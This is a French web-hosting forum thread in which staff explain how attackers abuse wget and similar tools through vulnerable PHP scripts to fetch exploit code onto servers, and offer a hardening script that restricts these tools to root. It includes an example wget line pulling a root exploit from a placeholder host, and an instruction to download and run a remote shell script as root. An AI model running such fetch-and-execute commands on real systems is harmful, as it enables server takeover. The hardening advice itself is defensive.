Fermer les outils de recherche web [fetch tools]

[staff]

Chaque serveur a des outils qui servent à aller chercher des fichiers stockés quelque part sur le web. A la base, ces outils servent aux administrateurs de serveurs pour importer des fichiers, des programmes ou des mises à jour.

Sur une installation Unix par défaut, n'importe quel utilisateur peut lancer un outil de recherche pour importer des fichiers sur le serveur. Dans la majorité des cas de piratages de serveurs de hosting, au moins une fonction de recherche a été utilisée. En effet, il est nécessaire à la personne malintentionnée de charger des scripts sur votre serveur afin de lancer leur exécution ou compilation/exécution. Quoi de mieux dans ce cas que de demander au serveur d'aller chercher lui-même les scripts malicieux.

En pratique, l'attaquant ouvre un espace chez un hébergeur gratuit et dépose dessus les outils de l'attaque. Il peut alternativement se service d'autres comptes ou serveurs pirater pour déposer ses outils. Par la suite, il ira sur votre machine et utilisera une faille sur un portail, CMS, forum, application... hébergés pour lancer une importation de ses outils. C'est une technique utilisée quotidiennement.

Une des fonctions utilisées c'est wget. Un simple:

wget http://www.some-hebergeur-gratuit.com/scripts/r00t-exploit.c

va permettre au serveur d'aller importer le script r00t-exploit.c sur votre machine.

Il faut donc restreindre l'accès à ses outils au root seulement. Par nature, Unix (qui est tellement plus sûr que Windows), permet à n'importe qui de lancer ces outils. Ils peuvent donc être lancés par des scripts PHP, CGI ou autre. Voici donc un petit script pour corriger la situation.

Ce script fait 2 choses:
- Il resteint au root les outils d'importation
- Il enlève lynx si celui-ci existe. Lynx est navigateur web textuel et mis à part permettre de vous pirater, il ne sert à rien.

Testé sur:
Tous les dédié ou VPS:
- RedHat
- CentOs
- Fedora

Usage:
En SSH en tant que root faites les commandes:

wget http://www.edelweisshosting.com/secure/fetch-tools.sh
chmod 755 fetch-tools.sh
./fetch-tools.sh

[maliweb]

j'apprend beaucoup unix avec mon vsp, merci staff

[staff]

C'est fait pour ça aussi les VPS

[cedric]

Hello,

C'est bien ce script, mais curl est utilisé par l'API de directadmin

A+

[staff]

Direct Admin marche sans problème avec ce script Il est appliqué sur toutes nos machines.

[staff]

Le but de ce script c'est éviter l'attaque suivante:

Une personne avec de mauvaises intentions arrive sur un site web pas mis à jour ou pas maintenu du tout. Il y a des chances qu'un script PHP accepte comme argument un wget vers un script hébergé ailleurs. Dans ce cas, le script est importé utilisant l'outil wget puis exécuté pour hacker soit le site, soit tout le serveur.

Une fois que vous faites les changements recommandés, il ne sera plus possible de tenter ce genre de manoeuvres.